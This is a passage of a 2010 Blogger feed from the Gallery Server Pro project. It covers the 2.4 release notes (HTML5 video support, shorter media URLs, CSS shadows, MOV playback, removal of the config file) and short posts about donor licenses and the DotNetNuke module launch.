browsers – including Internet Explorer 9 – now include some level of support for HTML5. The &amp;lt;video&amp;gt; and &amp;lt;audio&amp;gt; tags in particular have great potential for Gallery Server Pro, since it offers the promise of cross-browser video and audio playback without any dependence on plug-ins. So, in the spirit of moving toward this multimedia nirvana, 2.4 now renders &amp;lt;video&amp;gt; and &amp;lt;audio&amp;gt; tags for browsers and files that support it. For example, .webm, .ogg, and .ogv files are sent to the browser with this syntax:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&lt;font face="Courier New"&gt;&amp;lt;video src=&amp;quot;&lt;/font&gt;&lt;font face="Courier New"&gt;getmediaobject.ashx?moid=XXXX&amp;amp;dt=X&amp;amp;g=X&lt;/font&gt;&lt;font face="Courier New"&gt;&amp;quot; controls autobuffer &amp;gt;&amp;lt;p&amp;gt;Cannot play: Your browser does not support the &amp;lt;code&amp;gt;video&amp;lt;/code&amp;gt; element or the codec of this file. Use another browser or download the file by clicking the download toolbar button above (available only when downloading is enabled).&amp;lt;/p&amp;gt;&amp;lt;/video&amp;gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;In Google Chrome, it looks like this (click the image to go to the actual video):&lt;/p&gt;  &lt;p&gt;&lt;a href="http://dnndemo.galleryserverpro.com/Demo1.aspx?moid=372"&gt;&lt;img src="http://lh4.ggpht.com/_qh4427KVFsk/TOqmbR_g2EI/AAAAAAAAAQM/Fv6tGvO7ivg/dnn_rc7%5B1%5D.png?imgmax=800" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;This .webm video will play in Firefox 4, Chrome, IE 9 (when VP8 codec is installed), and Opera. For IE 9 users without the VP8 codec or for versions of IE8 and earlier, users will see this:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1yO9FQGI/AAAAAAAAAO8/-SeqbyIAMa4/dnn_rc8%5B4%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;Support for the video and audio tag is sporadic and inconsistent across browsers, so use these new file types with caution, as you may not be able to reach as many internet users as when using something more common such as Flash video.&lt;/p&gt;  &lt;h4&gt;Shorter media URLs&lt;/h4&gt;  &lt;p&gt;All recent versions of Gallery Server Pro use a custom HTTP handler to send all media objects to the browser. For example, an image tag might in 2.3 look like this:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" face="Courier New"&gt;&amp;lt;img id=&amp;quot;mo_img&amp;quot; src=&amp;quot;/gallery/gs/handler/getmediaobject.ashx?YZzFlob6Lr2%2FWRpeFgR3dP9IAGJWWHGY%2FhlG%2FDQhLv%2FiNk%2Fk6X5A9C%2BvdGD0eUga6pME9BRB      &lt;br /&gt;8G%2F4M&lt;/font&gt;&lt;font color="#800000" face="Courier New"&gt;9Eu7FjuF5FJDzU9zQV4eiavcTBfBOHl4fx5SL6Rd8JZbngVSOvO3PgCCPWays85WEE      &lt;br /&gt;qEjna9PnDWVOY0Zmn1KuY%2Ff29wnU0hYDLLv9Ftg%3D%3D&amp;quot; class=&amp;quot;&amp;quot; alt=&amp;quot;Image caption&amp;quot; title=&amp;quot;Image caption&amp;quot; style=&amp;quot;height:537px;width:640px;&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;This is better than simply linking to the actual media file for two reasons:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;It allows the gallery to serve files that are stored outside the web application. &lt;/li&gt;    &lt;li&gt;It allows the gallery to verify the user has permission to view the media object. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;But as you can tell, the URL is very long. Why so long? Well, there are several pieces of information encoded into it that helps reduce the number of database lookups. However, it turns out some firewalls will block any request where the query string is longer than 2048 characters, and occasionally GSP will run afoul of this rule, resulting in media objects that mysteriously don’t work/can’t be seen.&lt;/p&gt;  &lt;p&gt;So for 2.4, I drastically reduced the amount of data stored in the query string. A typical URL now looks like this:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" face="Courier New"&gt;&amp;lt;img id=&amp;quot;mo_img&amp;quot; src=&amp;quot;/gallery/gs/handler/getmediaobject.ashx?moid=XX&amp;amp;dt=X&amp;amp;g=X&amp;quot; class=&amp;quot;&amp;quot; alt=&amp;quot;Image caption&amp;quot; title=&amp;quot;Image caption&amp;quot; style=&amp;quot;height:537px;width:640px;&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;So now we should avoid getting blocked by firewalls. And as far as performance, while I haven’t measured it, I think things might actually be faster (and at least one user has said this). Since GSP aggressively caches items from the database, most media objects that are requested through an URL are already present in memory, so no extra database lookup is necessary. Plus, we also benefit from not having to encrypt and decrypt data. Finally, we benefit from less data being streamed up and down the internet tubes.&lt;/p&gt;  &lt;h4&gt;Web farm support&lt;/h4&gt;  &lt;p&gt;As mentioned in the previous section, Gallery Server Pro uses caching to dramatically increase performance. However, in web farm scenarios, this causes issues because caches are stored on the server, and there is no way to purge caches on all the servers in a web farm when the data changes, leading to stale data and even errors.&lt;/p&gt;  &lt;p&gt;2.4 now allows you to turn off the cache, thus enabling web farm support. The setting is on the Site Settings – General page.&lt;/p&gt;  &lt;h4&gt;CSS rounded corners and shadows&lt;/h4&gt;  &lt;p&gt;Gallery Server Pro has sported drop shadows around images for a while now:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh6.ggpht.com/_qh4427KVFsk/TKO1yrGcQKI/AAAAAAAAAPA/ioQJf8-FPOg/dnn_rc9%5B5%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;The technique, which I adapted from &lt;a href="http://www.positioniseverything.net/articles/dropshadows.html"&gt;Position Is Everything&lt;/a&gt;, was a fairly complicated combination of nested div tags and images. Here is what it looks like under the hood:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;&amp;lt;div class=&amp;quot;gsp_floatcontainer&amp;quot;&amp;gt;    &lt;br /&gt;&amp;lt;div class=&amp;quot;op1&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160; &amp;lt;div class=&amp;quot;op2&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160; &amp;lt;div class=&amp;quot;sb&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;div class=&amp;quot;ib&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;img id=&amp;quot;mo_img&amp;quot; src=&amp;quot;getmediaobject.ashx?CDZHDoCF…&amp;quot; alt=&amp;quot;Penguins.jpg&amp;quot; title=&amp;quot;Penguins.jpg&amp;quot; style=&amp;quot;height:187px;width:250px;&amp;quot; /&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160; &amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;#160; &amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;lt;/div&amp;gt;     &lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/div&gt;  &lt;p&gt;Here is the supporting CSS:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;.gsp_floatcontainer {overflow:hidden;width:100%;}    &lt;br /&gt;html &amp;gt; body .gsp_ns .op1 {background:url(../images/shadow_tr_8x8.png) right top no-repeat;     &lt;br /&gt;float:left;display:inline;}     &lt;br /&gt;html &amp;gt; body .gsp_ns .op2 {background:url(../images/shadow_bl_8x8.png) left bottom no-repeat;     &lt;br /&gt;padding-top:8px;padding-left:8px;}     &lt;br /&gt;html &amp;gt; body .gsp_ns .sb {background:url(../images/shadow_800x800.png) bottom right;}     &lt;br /&gt;html &amp;gt; body .gsp_ns .ib {position:relative;left:-8px;top:-8px;border:1px solid #a9a9a9;}     &lt;br /&gt;&lt;/div&gt;  &lt;p&gt;Now that all modern browsers – even IE9 – support drop shadows and rounded corners, I was able to simplify it down to this:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;&amp;lt;div class=&amp;quot;gsp_i_c&amp;quot;&amp;gt;    &lt;br /&gt;&amp;#160; &amp;lt;img id=&amp;quot;mo_img&amp;quot; src=&amp;quot;getmediaobject.ashx?moid=XX&amp;amp;dt=X&amp;amp;g=X&lt;/a&gt;&amp;quot; alt=&amp;quot;Penguins.jpg&amp;quot; title=&amp;quot;Penguins.jpg&amp;quot;     &lt;br /&gt;style=&amp;quot;height:187px;width:250px;&amp;quot; /&amp;gt;     &lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/div&gt;  &lt;p&gt;And the new CSS:&lt;/p&gt;  &lt;div style="font-family: consolas, courier, sans-serif"&gt;.gsp_ns div#divMoView .gsp_i_c {border:1px solid;border-color:#AAA #444 #444 #AAA;margin:0 auto 15px auto;padding:2%;    &lt;br /&gt;-moz-box-shadow: 8px 8px 8px #636363;-webkit-box-shadow: 8px 8px 8px #636363;box-shadow: 8px 8px 8px #636363;     &lt;br /&gt;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;}&lt;/div&gt;  &lt;p&gt;We went from five div tags to one, and the result looks great:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnn_rc10" border="0" alt="dnn_rc10" src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1y2YK1oI/AAAAAAAAAPE/uuOMzWxs4JE/dnn_rc10%5B5%5D.png?imgmax=800" width="281" height="218" /&gt; &lt;/p&gt;  &lt;p&gt;IE8 browsers and older will still get the old HTML, but everyone else benefits from the new CSS support.&lt;/p&gt;  &lt;p&gt;One benefit to this change is that it is finally possible to center portrait images in the gallery. Here is how a portrait image used to look (and still does in IE 8 and older):&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image_not_centered" border="0" alt="image_not_centered" src="http://lh5.ggpht.com/_qh4427KVFsk/TOw5Ih-6zhI/AAAAAAAAAQw/XzYlnUHqdJ4/image_not_centered%5B4%5D.png?imgmax=800" width="423" height="518" /&gt;&lt;/p&gt;  &lt;p&gt;In 2.4, all other browsers see this:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image_centered" border="0" alt="image_centered" src="http://lh4.ggpht.com/_qh4427KVFsk/TOw5K-0U-aI/AAAAAAAAAQ0/6tj5kBYPohw/image_centered%5B4%5D.png?imgmax=800" width="428" height="525" /&gt;&lt;/p&gt;  &lt;h4&gt;MOV files played in &lt;strike&gt;Silverlight&lt;/strike&gt; Flash instead of QuickTime&lt;/h4&gt;  &lt;p&gt;&lt;strong&gt;Update Dec 5, 2010:&lt;/strong&gt; In 2.4.3, the rendering for .MOV files was switched to FlowPlayer/Flash rather than Silverlight. Read more about it in this &lt;a title="Gallery Server Pro 2.4.3 released" href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.4.3-Released&amp;amp;id=705028032734061094"&gt;blog post&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;This version changes how .MOV files are handled. Previously, these files were played with the QuickTime browser plug-in, but in my experience it has been buggy, difficult to use, and quirky. Starting in 2.4, .MOV files are played with the &lt;strike&gt;Silverlight&lt;/strike&gt; Flash plug-in. In most cases this offers a superior user experience, including a smoother install experience if the plug-in is not present.&lt;/p&gt;  &lt;p&gt;&lt;strike&gt;Silverlight&lt;/strike&gt; Flash only works, however, when the .MOV file uses an MPEG-4 codec. This is true of most newer .MOV files, but may not be the case for older ones. If you discover that one or more .MOV videos won’t play in your gallery, try renaming it with a .MOOV extension and re-adding it. .MOOV files continue to use the QuickTime plug-in.&lt;/p&gt;  &lt;p&gt;Or, if you want to revert to the previous behavior of using the QuickTime plug-in for .MOV files, execute the following SQL against your gallery database:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" face="Courier New"&gt;UPDATE gs_MimeType      &lt;br /&gt;SET MimeTypeValue = 'video/quicktime'       &lt;br /&gt;WHERE FileExtension='.mov';       &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;You will need to restart the application pool to force the gallery to recognize this change.&lt;/p&gt;  &lt;h4&gt;Reorganized site admin pages&lt;/h4&gt;  &lt;p&gt;Here is the updated admin pages menu:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/TOw3FmrzvDI/AAAAAAAAAQc/tUiIZNeWWI8/s1600-h/sitesettings_menu%5B8%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="sitesettings_menu" border="0" alt="sitesettings_menu" src="http://lh3.ggpht.com/_qh4427KVFsk/TOw3GwUjKPI/AAAAAAAAAQg/foFzfwDCwMc/sitesettings_menu_thumb%5B2%5D.png?imgmax=800" width="208" height="505" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;No major changes, but there were some opportunities for improving the organization. The Site Settings section is reserved for site admins – gallery admins won’t even see it. The new Gallery section contains gallery-level settings.&lt;/p&gt;  &lt;p&gt;Remember the e-mail settings page in 2.3?&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="sitesettings_email" border="0" alt="sitesettings_email" src="http://lh4.ggpht.com/_qh4427KVFsk/TOw3HxjwUJI/AAAAAAAAAQk/u-XnQpq89AE/sitesettings_email%5B4%5D.png?imgmax=800" width="437" height="338" /&gt;&lt;/p&gt;  &lt;p&gt;This page has been merged into the Gallery Settings page. And I finally fixed something that bothered me for a while: What was the deal with the Gallery Administrator on the e-mail page? It’s not a real account and is only used for e-mail. Confusing if you ask me. So I deleted the two settings that had been in galleryserverpro.config (EmailToName, EmailToAddress) and replaced it with a new setting UsersToNotifyWhenErrorOccurs. This setting stores a list of user accounts that should be notified when an error occurs.&lt;/p&gt;  &lt;p&gt;The upgrade wizard will automatically migrate this setting to the correct user if you have a user with the same e-mail address as is specified here. You should probably check this after the upgrade to make sure it is set to the desired user.&lt;/p&gt;  &lt;h4&gt;Optional treeview navigation&lt;/h4&gt;  &lt;p&gt;There is a new option for browsing your media gallery. If you turn on treeview navigation, a treeview of albums appears on the left side of the screen:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="treeviewnav" border="0" alt="treeviewnav" src="http://lh3.ggpht.com/_qh4427KVFsk/TOw3JKOiQzI/AAAAAAAAAQo/fhvcxEh0T58/treeviewnav%5B4%5D.png?imgmax=800" width="604" height="363" /&gt;&lt;/p&gt;  &lt;p&gt;The treeview loads quickly because only the top level albums are displayed by default. As you drill down, efficient AJAX callbacks populate the nodes. Clicking any album causes the album contents to appear on the right.&lt;/p&gt;  &lt;p&gt;Turn on this feature on the Gallery Control Settings page:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="treeviewnavmenu" border="0" alt="treeviewnavmenu" src="http://lh3.ggpht.com/_qh4427KVFsk/TOw3KeGZzHI/AAAAAAAAAQs/84q32VPlw1k/treeviewnavmenu%5B4%5D.png?imgmax=800" width="504" height="238" /&gt;&lt;/p&gt;  &lt;h4&gt;Increased limits for album and media object data&lt;/h4&gt;  &lt;p&gt;The maximum number of characters has increased for several types of data:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Album title:&lt;/strong&gt; 1000 chars (was 200)     &lt;br /&gt;&lt;strong&gt;Album summary:&lt;/strong&gt; unlimited (was 1000)     &lt;br /&gt;&lt;strong&gt;Media object caption:&lt;/strong&gt; unlimited (was 1000)     &lt;br /&gt;&lt;strong&gt;External media object HTML snippet:&lt;/strong&gt; unlimited (was 1000)     &lt;br /&gt;&lt;strong&gt;Metadata text:&lt;/strong&gt; unlimited (was 2000)&lt;/p&gt;  &lt;p&gt;This change was made possible through the use of the nvarchar(max) data type in SQL Server. Since this type was introduced in SQL Server 2005, Gallery Server Pro 2.4 no longer supports SQL Server 2000.&lt;/p&gt;  &lt;h4&gt;Eliminated galleryserverpro.config&lt;/h4&gt;  &lt;p&gt;Back in July I &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Turning-a-lemon-into-lemonade%3a-Multiple-galleries-in-a-single-web-application&amp;amp;id=8847008064170061419"&gt;blogged&lt;/a&gt; about how I was essentially forced into getting rid of galleryserverpro.config so that the gallery could support the multiple portals feature in DotNetNuke. But this has been a blessing in disguise, as eliminating the file has two benefits:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;Less app restarts.&lt;/strong&gt; The nature of the ASP.NET configuration system requires that any changes to a config file triggers an application restart. This causes issues like synch and file upload failures when an administrator makes almost any change to a site setting. Now that the data is in the database, admins can change these settings without affecting users. Note that there is an empty galleryserverpro.config file where the old file used to be – it is there solely to prevent an error the first time you run the upgrade wizard, since at that point you are still using the old web.config file that expects the gsp config file to be there. Feel free to delete the file when you are done installing or upgrading. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Better architecture for future changes.&lt;/strong&gt; With the data in the database, it becomes easier to programmatically manage. In particular, writing an upgrade wizard that dealt with XML files was a chore. It also becomes easier, for example, to write an admin page for editing the browser templates (formally known as HTML templates). &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;There is one downside to eliminating the file – manual changes must be made against a database table rather than an easy-to-edit XML file. One of the more common situations where this comes into play is needing to set ShowErrorDetails to true when the app doesn’t load and you need to see the error message. To help address this particular situation, I tweaked the logic so that error details are *always* shown when debug is set to true in web.config. That is, if an error is preventing you from loading the app and you want to see the error details, open web.config and look for this line:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" face="Courier New"&gt;&amp;lt;compilation debug=&amp;quot;false&amp;quot;&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Change it to this:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" face="Courier New"&gt;&amp;lt;compilation debug=&amp;quot;true&amp;quot;&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Of course, you can still go into the database table gs_GallerySettings and set ShowErrorDetails to true, but most of you will find this easier.&lt;/p&gt;  &lt;h4&gt;Removed dependence on ASP.NET profile provider&lt;/h4&gt;  &lt;p&gt;One thing I have learned over the years is to minimize the amount of stuff you have to add to your web.config file. Anyone who has tried to manually merge GSP’s web.config file with their own app’s config file will agree. So when I was presented with a choice a few months ago – revamp the profile system to support multiple gallery settings or build a completely new profile system – I jumped at the chance to migrate away from the ASP.NET profile provider. There are two main benefits:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;GSP no longer has to worry about a properly configured profile provider in web.config. &lt;/li&gt;    &lt;li&gt;Developers who are already using the profile provider in their app no longer have to manage two subsystems (their app and GSP) that might both share the same profile configuration. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Profile data is now stored in a new table gs_UserGalleryProfile. The upgrade wizard automatically migrates data from the aspnet_Profile table into the new one.&lt;/p&gt;  &lt;h4&gt;Improved install and upgrade wizards&lt;/h4&gt;  &lt;p&gt;The upgrade wizard has several changes, as it necessarily must to handle the uniqueness of each major upgrade. It is more robust, with more informative error messages, better error handling, and the ability to modify your existing web.config file. It is also designed to be repeatable. That is, if an error happens early in the upgrade process, you can re-run it and it will resume where it left off.&lt;/p&gt;  &lt;p&gt;Both wizards detect when they are needed and start automatically. For example, when a copy of galleryserverpro_old.config is in the gs/config/ directory, the upgrade wizard will start. If the file install.txt is present in the App_Data directory, the install wizard will start. Note that for performance reasons, the app checks for these files only when the application first starts, so if you need to trigger these wizards at some other time, you can still do it by appending “?g=install” or “?g=upgrade” to the query string.&lt;/p&gt;  &lt;p&gt;Also, both wizards disable themselves when finished, helping to prevent unauthorized users from running them.&lt;/p&gt;  &lt;h4&gt;Upgrade warning: change in role constraint&lt;/h4&gt;  &lt;p&gt;A change in the structure of the table gs_Role may affect a small number of you when you upgrade. Who is affected? Anyone who has more than one gallery web application that shares the same database. In other words, anyone using the multiple gallery feature of 2.3.&lt;/p&gt;  &lt;p&gt;If this might affect you, read &lt;a title="Forum thread: DB with error while Upgrade to GSP v2.4.1" href="http://forum.galleryserverpro.com/default.aspx?g=posts&amp;amp;t=1334"&gt;this thread&lt;/a&gt; for details on how to prepare the gs_Role table before your upgrade.&lt;/p&gt;  &lt;h4&gt;Where is version 2.4.0?&lt;/h4&gt;  &lt;p&gt;The DotNetNuke module, the stand-alone version, and the Microsoft Web Application Gallery version all share the same code base. Shortly after releasing 2.4.0 of the DotNetNuke module, a few bugs were found before I could release 2.4.0 of the stand-alone version, so it was never released. Similarly, a few bugs have already been found with 2.4.1 before I could release the DotNetNuke 2.4.1 version, so by the time that gets released, it will be 2.4.2 (or maybe even higher). As I write this it sounds like it could get confusing, so I am open to changing this, but at present this is what is going on.&lt;/p&gt;  &lt;h4&gt;New product key and option to hide footer&lt;/h4&gt;  &lt;p&gt;This version requires a &lt;a title="Gallery Server Pro - Open Source ASP.NET Gallery" href="http://www.galleryserverpro.com/productkey.aspx"&gt;new product key&lt;/a&gt;. As always, it is completely free, although your donation is what allows me to continue working on it. Please support it so I don’t have to get a real job (which I am dangerously close to having to do). As an extra incentive to donate, I offer two great rewards to those who donate $50 or more: (1) A copy of the Dilbert book &lt;em&gt;Casual Day Has Gone Too Far&lt;/em&gt;, and (2) A special product key that hides the Gallery Server Pro logo at the bottom of each page.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-7372905032415653158?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/7372905032415653158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=7372905032415653158' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7372905032415653158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7372905032415653158'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/11/gallery-server-pro-24-released.html' title='Gallery Server Pro 2.4 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/TKO1wbHAm9I/AAAAAAAAAOo/UXDJeuKYOfA/s72-c/dnn_rc1%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1270956612893798635</id><published>2010-11-08T08:38:00.001-06:00</published><updated>2010-11-08T08:38:17.525-06:00</updated><title type='text'>Gallery Server Pro A DotNetNuke Best Seller!</title><content type='html'>&lt;p&gt;Wow. Less than a month after releasing the &lt;a href="http://www.snowcovered.com/Snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;DotNetNuke version of Gallery Server Pro&lt;/a&gt;, it has landed on the &lt;a href="http://www.snowcovered.com/Snowcovered2/Default.aspx?tabid=160&amp;amp;categoryid=591"&gt;best seller list&lt;/a&gt; on snowcovered.com! OK, sure, it’s number 87, but when you consider there are more than 10,000 modules to compete with, you have to admit that is pretty good.&lt;/p&gt;  &lt;p&gt;Thanks to all of you use and love Gallery Server Pro. There are more great things to come!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1270956612893798635?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1270956612893798635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1270956612893798635' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1270956612893798635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1270956612893798635'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/11/gallery-server-pro-dotnetnuke-best.html' title='Gallery Server Pro A DotNetNuke Best Seller!'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-7428068787909263139</id><published>2010-10-26T14:34:00.001-05:00</published><updated>2010-10-26T22:16:21.441-05:00</updated><title type='text'>Free license to all donors!</title><content type='html'>&lt;p&gt;I am continually amazed that there are people who support Gallery Server Pro with donations. It is so easy to just grab a product key and skip the donation, but many of you take the extra time and send a few of your hard-earned bucks my way. I still can’t quite pay my bills with it, but it gets me most of the way there.&lt;/p&gt;  &lt;p&gt;I want you to know how much I appreciate it, so with my best Oprah voice, I now announce “You get a license! And you get a license! Every donor gets a license!”&lt;/p&gt;  &lt;p&gt;A couple hours ago I sent out hundreds of e-mails – one to every person who has ever donated to Gallery Server Pro. In that e-mail I included a coupon code for a free license for the Professional Edition of the new &lt;a href="http://www.snowcovered.com/Snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;Gallery Server Pro DotNetNuke Module&lt;/a&gt;. If for some reason you donated but did not get an e-mail (maybe your e-mail address changed), please &lt;a href="http://www.galleryserverpro.com/support.aspx"&gt;contact me&lt;/a&gt; and if I can find some record of you I’ll be glad to set you up.&lt;/p&gt;  &lt;p&gt;This offer applies to all people who donated before October 26, 2010. I am happy to take any donation amount at any time, and while this offer applies only to past donors, I will gladly send you a free Dilbert book for donations of $50 or more (use the &lt;a href="http://www.galleryserverpro.com/productkey.aspx"&gt;Product Key Wizard&lt;/a&gt;).&lt;/p&gt;  &lt;p&gt;Once again, thanks for supporting me so that I can work on my second true love (you know, after Margaret).&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-7428068787909263139?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/7428068787909263139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=7428068787909263139' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7428068787909263139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7428068787909263139'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/10/free-license-to-all-donors.html' title='Free license to all donors!'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3764237459905248323</id><published>2010-10-12T10:03:00.001-05:00</published><updated>2010-10-23T09:40:17.841-05:00</updated><title type='text'>Gallery Server Pro 2.4 DotNetNuke Module Released</title><content type='html'>&lt;p&gt;For several years users have asked for a DotNetNuke version of Gallery Server Pro. Today we reach the culmination of more than a year of work – the immediately availability of &lt;strong&gt;Gallery Server Pro 2.4 DotNetNuke Module!&lt;/strong&gt; You can now have a gallery in your DNN site that efficiently and easily manages any file type, including photos, video, audio, and documents.&lt;/p&gt;  &lt;p&gt;Play with a &lt;a href="http://dnndemo.galleryserverpro.com"&gt;live demo&lt;/a&gt;. Download a fully functioning, 30-day &lt;a href="http://www.galleryserverpro.com/downloaddnn.aspx"&gt;trial version here&lt;/a&gt;. Then grab the &lt;a href="http://www.galleryserverpro.com/downloaddnn.aspx"&gt;QuickStart Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dnndemo1" border="0" alt="dnndemo1" src="http://lh5.ggpht.com/_qh4427KVFsk/TLR4rBuMztI/AAAAAAAAAQI/uMx3711uOnc/dnndemo1%5B4%5D.jpg?imgmax=800" width="604" height="600" /&gt;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro 2.4 DotNetNuke Module features all the benefits of the stand-alone version of Gallery Server Pro, plus several new ones for 2.4:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Customizable user interface &lt;/li&gt;    &lt;li&gt;Optional treeview navigation &lt;/li&gt;    &lt;li&gt;Thumbnails extracted from video, PDF, HTML, TXT and EPS files &lt;/li&gt;    